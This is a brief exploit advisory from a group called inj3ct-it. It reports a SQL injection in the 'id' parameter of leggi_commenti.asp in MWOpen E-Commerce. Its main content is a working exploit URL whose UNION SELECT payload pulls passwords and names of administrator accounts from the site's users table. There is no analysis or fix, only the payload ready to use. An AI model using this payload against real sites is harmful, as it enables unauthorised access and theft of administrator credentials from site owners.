--------------------------------------------------------------- ____ __________ __ ____ __ /_ | ____ |__\_____ \ _____/ |_ /_ |/ |_ | |/ \ | | _(__ <_/ ___\ __\ ______ | \ __\ | | | \ | |/ \ \___| | /_____/ | || | |___|___| /\__| /______ /\___ >__| |___||__| \/\______| \/ \/ --------------------------------------------------------------- Http://www.inj3ct-it.org Staff[at]inj3ct-it[dot]org --------------------------------------------------------------- MWOpen E-Commerce All Versions "leggi_commenti.asp" SQL Injection --------------------------------------------------------------- #By KiNgOfThEwOrLd --------------------------------------------------------------- PoC: Nothing to say.. Corrupted Page: leggi_commenti.asp Corrupted Variabile: ?id= Exploit: http://[target]/[mwopen_path]/leggi_commenti.asp?id=9999+union+select+null, null,password,nome,null,data,null+from+utenti+where+Admin=true ---------------------------------------------------------------